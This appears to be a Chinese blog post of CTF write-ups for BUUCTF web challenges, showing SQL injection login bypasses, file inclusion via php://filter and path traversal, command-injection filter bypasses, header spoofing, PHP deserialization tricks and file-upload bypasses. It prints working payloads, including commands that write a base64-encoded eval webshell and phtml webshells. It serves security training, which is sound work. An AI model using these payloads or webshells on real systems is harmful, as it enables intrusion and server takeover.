WEB_CTF刷题记录

BUUCTF

EasySQL

知识点:万能密码

打开页面如下,可以看到一个登录框,随便输入用户名和密码都为1

发现页面跳转到check.php并将用户名和密码的输入带入数据库验证。测试一下闭合方式

可以发现当用户名输入为1’的时候出现了报错,判断为单引号闭合。于是尝试用万能密码

1' and 1=1#
1' and 1=2#
1' and '1'='1'#
1' or 1=1#

当尝试到第四个的时候出现flag 或者自己手动用hackbar传参

注意:GET传参要经过url编码,所以使用url进行输入时,不能使用#,而应该使用其url编码%23

Havefun

知识点:代码审计

打开页面 F12查看页面源码

发现存在代码逻辑,输入参数cat以GET方式提交,如果cat参数值为dog,则显示一段东西,于是hackbar上传get参数,拿到flag

HCTF WarmUp

知识点:代码审计+文件包含

打开页面,发现存在一个提示source.php,访问对应文件

跟据代码逻辑存在一个hint.php,访问一下,得到

第一次检查$page是否在白名单数组中,如果是返回true。这一步是基本的白名单验证,直接用in_array判断。

如果第一次检查不通过,那么用mb_substr处理page。mbsubstr截取从0开始到第一个?出现的位置的子字符串。具体做法是page。mb_substr截取从0开始到第一个?

如果还是不行,再次对$page进行URL解码,并重复之前的处理步骤:截取问号前的内容,再检查是否在白名单中。

接下来的主逻辑是检查$REQUEST[‘file’]是否存在、是字符串,并且通过emmm::checkFile的验证。如果返回值为true,则通过include语句包含$REQUEST[‘file’]指定的文件并终止程序执行,否则输出一个图片标签。

于是我们可以通过文件包含去尝试:先尝试包含hint.php

source.php?file=hint.php

跟单独访问hint.php无区别,到这,目前source.php的提示就用了,那么根据hint.php中的提示,flag在ffffllllaaaagggg。

我们这里可以在source.php中对传参进行一个分析:
传入file=hint.php,首先检查'hint.php'是否是一个字符串,它是字符串,条件通过;
检查'hint.php'是否在白名单中(白名单包括hint.php和source.php),在,继续执行后面的代码;
对'hint.php'执行mb_substr函数,但是函数内一个参数是来自另一个函数mb_strpos的返回值,因此我们先看mb_strpos函数,使用.进行字符连接,即连接了一个问号字符 '?',得到hint.php?
然后查找'?'在字符串'hint.php?'中第一次出现的位置,从0开始算,返回8,即length=8
接下来我们执行mb_substr函数,即 mb_substr('hint.php',0,8)
从字符串中的第一个字符处开始,返回8个字符,其实还是返回的hint.php;
然后对返回的内容进行url解码,重复执行上面的检查和截取操作。
我们只需要传入一个在白名单内的文件名(source.php或者hint.php),并添加上问号,这样可以保证每次找去用于检查的内容都在白名单,返回true。

那么我们的思路便理清了,即在source.php中存在一个文件包含的漏洞,接下来我们只需要找到ffffllllaaaagggg文件的位置就行了。

所以我们只需要输入 source.php?file=source.php?或者 source.php?filehint.php?即可绕过白名单检测,然后在输入…/逐级跳转目录读取flag即可,可以一个一个试

知识补充:
.表示当前目录
. .表示当前目录的上一级目录。
. ./表示当前目录下的某个文件或文件夹,视后面跟着的名字而定
./表示当前目录上一级目录的文件或文件夹,视后面跟着的名字而定。
例如:
文件夹 a
下面有 文件夹b c 和文件 d。
文件夹b下面有e.php 和文件f。
则e中的 . 表示 文件夹b
./f 表示b下面的文件f。
. .表示a文件夹。
. ./d 表示a文件夹下的d文件。

构造payload

source.php?file=hint.php?../ffffllllaaaagggg
或者source.php?file=hint.php?/../ffffllllaaaagggg
最后尝试得到
source.php?file=hint.php?../../../../../ffffllllaaaagggg
或者
source.php?file=hint.php?/../../../../ffffllllaaaagggg

即可拿到flag

这里做了一个小测试

当我输入source.php?file=hint.php/../../../../ffffllllaaaagggg 因为少了一个问号,无法跳过验证,从而回显you can’t see it

Include

知识点:文件包含+php伪协议+POST发送PHP代码

打开网址,提示点击tips,跳转到一个链接

http://ebc18792-9def-4f29-9a7c-ba7a1bf26620.node5.buuoj.cn:81/?file=flag.php

根据提示和题目判断应该是利用文件包含漏洞

首先考虑 “php://input”伪协议 + POST发送PHP代码 的经典套路

重新考虑之后使用 “php://filter”伪协议” 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

构造Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码

发送请求得到base64编码后的flag.php文件源码:

解码之,得到Flag

<?php
echo "Can you find out the flag?";
//flag{c61c3a8a-71e9-4f6b-beb7-d1599f47ea7f}

Ping Ping Ping

知识点:命令执行+文件名和空格绕过

打开页面提示输入参数 /?ip= ,输入本地地址,可以看到产生ping命令的结果

此处明显存在系统命令执行漏洞。这里输入大写IP=127.0.0.1,执行后会自动转换成小写,猜测这里应该是linux,直接构造payload: /?ip=127.0.0.1|ls 来查看当前目录下的文件

直接构造payload 读取flag文件:/?ip=127.0.0.1|cat /flag.php

根据提示访问对应地址,然后一直访问下去,可以看到提示应该是空格被过滤了

这里使用了多个方法,最后发现$IFS$9能绕过:?ip=127.0.0.1|tac$IFS$9flag.php

flag字段应该也被过滤了,我们尝试访问一下另外一个文件index.php,看看是不是文件名被过滤了

可以看到代码逻辑下,许多符号都被过滤了,包括:


& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 

其中:这段代码是对flag进行贪婪匹配
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
源码中有一个$a变量可以覆盖
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

于是构想构造出如下payload

1、简单变量替换,用$a覆盖拼接flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

2、变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
或者 ?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php

3、内联执行
?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`

4、被过滤的bash,用管道+sh替换
cat flag.php用base64加密来绕过正则匹配:Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
但发现过滤了flag、bash,但sh没过滤,linux下可用sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

于是就能得到结果

总结:类似的绕过思路

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

HTTP

知识点:UA、Refer字段修改绕过HTTP头检测

打开查看源码找到Secret.php,访问后根据提示添加Referer:https://www.Sycsccret.com

修改后又说必须使用Syclover浏览器,我们这里直接修改User-Agent头即可 User-Agent:Syclover browser

又说No!!! you can only read this locally!!!,让我们伪造IP,在headers里面添加X-Forwarded-For:127.0.0.1即可得到flag

Knife

知识点:webshell一句话木马

登陆进去可以看到一句话木马,根据提示knife–刀,猜测使用中国菜刀连接,我这里直接使用蚁剑,然后连接后根目录下能找到对应flag

Exec

知识点:命令执行创建webshell

打开页面,出现一个ping,盲猜为命令执行

输入:127.0.0.1|ifconfig
成功回显。于是判断为linux系统

查看当前目录下的文件内容:

输入:127.0.0.1|ifconfig
.
..
index.php

查看当前用户和路径:

127.0.0.1|whoami
www-data

127.0.0.1|pwd
/var/www/html

尝试写入webshell

127.0.0.1|echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
(base64编码<?php eval($_POST[1]); ?>)
并用命令检查是否创建成功ls -a

直接蚁剑连接找flag即可

连接地址:http://ef5f9d12-0392-46b5-ad09-b27a7b1176c3.node5.buuoj.cn:81/2.php 

PHP

知识点:php代码审计+php反序列化构造POP链+__wakeup()与private绕过

打开提示网站备份,于是我们用工具扫一扫

御剑没扫出来,我们用dirsearch试试,扫出来一个www.zip的文件,直接再url中拼接尝试下载,得到源码

注意对每次间隔的请求时间做限制,避免扫描过快导致扫描不出来东西,使用参数 -t 时间间隔
python dirsearch.py -u "http://example.com" -t 3   (每三秒一次)

获取源码之后可以看到有一个flag.php,直接打开得到以下内容,尝试提交,无果,依次查看其它的文件

简单代码审计,发现index.php下可以根据GET传参select来调用另一个文件class.php,并且采用了反序列化的方式。而class.php也直接包含了flag.php,且获取到class.php的判断条件:如果用户名为admin 密码为100。

于是构造反序列化

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>

在线网站执行:PHP 在线工具 | 菜鸟工具

得到序列化后的字符串为:
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct,于是我们这样构造pyload:

?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后我们又意识到,这个变量时private

private声明的字段为私有字段,只在所声明的类中可见,在该类子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

于是我们在构造一回pyload: 将 2 改为 3 或者 比二大的数字,同时,我们要将口变为 %00 如果不写 在我们复制的时候就会减少 空格

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最后将payload拼接在index.php之后即可拿到flag

LOVESQL

知识点:万能密码+union注入

[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)-CSDN博客

[极客大挑战 2019]Upload

知识点:文件上传PHTML绕过+Gif89a

打开靶场环境,结合题目信息,判断为文件上传漏洞

上传一个PHP文件显示提示:不是图片,猜测可能需要绕过,先禁用前端JS试试,发现仍然不能上传成功,故判断不是前端限制,抓包测试:修改MIME为 Content-Type: image/jpeg 并在文件内容中习惯性加上GIF89a来绕过

被提示php文件不允许被上传,我们尝试上传一个phtml文件试试,.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。

这里根据提示可以得知文件内容中<? 被检测,发现我们的我们的文件内容还是为PHP的形式,我们修改一下,变成phtml的文件内容格式,内容如下

GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST[shell]);</script>

这段代码就和php代码<?php @eval($_POST[‘shell’];?>表达意思一样

可以看到文件上传成功,现在需要知道图片的保存路径了,一般都是/upload查找含有的文件,访问一下

接下来用蚁剑连接读取flag即可

里面可以看到前辈们上传的各种文件绕过类型:

[SUCTF 2019]EasySQL

知识点:select $_POST[‘query’] || flag from flag SQL注入中的无回显情况中的或(“||”)

这个||的存在导致了输入字符的时候啥也不回显。既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag。于是能猜测查询语句为上述语句,这里的||在mysql中表示或,如果前一个操作数为真,则不看后面的语句,于是构造payload:select *,1 from flag;sql=select.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。

buuctf-[SUCTF 2019]EasySQL 1(小宇特详解)-CSDN博客

[SUCTF 2019]EasySQL 1 Writeup(超级详细)_really easy sql-CSDN博客

[ACTF2020 新生赛]Upload

知识点:文件上传前端验证(禁用JS)+ 后端绕过对php的检测(采用phtml)

<script language='php'>@eval($_POST['a']);</script>
<script language='php'>system('cat /flag');</script>

[ACTF2020 新生赛]Upload-1_[actf2020 新生赛]upload 1-CSDN博客

[极客大挑战 2019]Secret File

进入环境

首先老规矩,看一下源码,发现一个php文件。

访问该文件查看一下内容,提示有一个SECRET的按钮

点击之后发生了跳转,并给出提示

回头查看一下之前的源码

可以发现我们在点击SECRET按钮之后,应该会跳转到/action.php,但是最后显示的是end.php,于是怀疑这里应该是有重定向,我们抓包看一下

成功截获到/action.php的内容,于是我们访问secr3t.php

跟据提示我们直接访问flag.php

于是我们对secr3t.php进行代码审计

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

代码首先传递参数file,且对file进行过滤。不允许出现file中包含"../"、"tp"、"input"、"data"这写关键字,然后通过文件包含函数 include()将file传递的内容作为参数进行引用,明显的文件包含漏洞,需要绕过"../"、"tp"、"input"、"data" 对flag.php进行一个包含

于是利用利用 php://filter 协议 构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

最后识别为Base64加密,进行解密即可获取flag。

[RoarCTF 2019]Easy Calc

参考:【BUUCTF】 [RoarCTF 2019]Easy Calc 详细题解笔记 Writeup_scandir被过滤-CSDN博客

知识点:PHP函数、PHP字符串解析特性绕过一些限制

进入环境。是一个在线计算器的web,老规矩先看源码

根据提示,网站已部署WAF,但是查看下半段代码

<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

解释:$("#content").val()  用于获取id为content的HTML标签元素的值
$("#content")等同于document.getElementById(“content”)
$("#content").val()等同于document.getElementById(“content”).value

这段代码对表单数提交的 AJAX(AJAX(Asynchronous JavaScript and XML)是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术。) 请求进行处理。并调用了.ajax方法,参数包含url、type、success和error回调函数,"calc.php?num="+encodeURIComponent($("#content").val()),这里构造了一个GET请求的URL,将id为content的元素的value值进行编码后作为num参数传递给calc.php。type限定为GET请求,然后利用success和error回调函数来返回结果,最后return false: 阻止表单默认的同步提交(页面刷新)。

然后当我们故意输入不能被识别的数据时,触发了弹窗,但是这里没有明显的利用痕迹

于是我们先访问一下calc.php的源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

可以看到这段代码进行了相应的黑名单限制,这里的话num只能输入数字,字母无法输入

这里需要补充知识1:

正则匹配:/m 表示多行匹配
PHP字符串解析特性绕过WAF

输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)

现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。

例如我们这里利用PHP的字符删除空格的特性构造访问phpinfo

http://node3.buuoj.cn:29098/calc.php? num=phpinfo()

补充知识2:

php函数:
scandir("/"):扫描某个目录并将结果以array形式返回,配合vardump 可以替代system('ls;')
var_dump():将变量以字符串形式输出,替代print和echo
file_get_contents():名思义获取一个文件的内容,替代system('cat flag;')
chr(数字):ASCII范围的整数转字符

整理一下目前的可利用点

num无法输入数字以外的其他东西----采用加空格绕过但是waf存在不允许输入空格
scandir()函数读取文件时,存在waf不允许使用空格 / /t  /r等字眼 于是可利用chr()函数搭配ascii吗进行绕过

于是构造payload

1、查看目录,找flag
calc.php? num=1;var_dump(scandir(chr(47)))  //chr(47)就是"/"的替代,表示查找当前根目录下的所有文件,并以数组形式反馈出来,发现了f1agg字样
2、读取f1agg文件
calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))   //"."表示连接前后这里ascii码转换之后就是"/f1agg"
补充知识:
这里的空格绕过还能换成+号绕过:calc.php?+num=1;var_dump(scandir(chr(47)))
calc.php?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

这里的chr(47)也可以换为hex2bin(dechex(47)):dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。
calc.php?+num=1;var_dump(scandir(hex2bin(dechex(47))))

这里的file函数还能换成file_get_contents()函数
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇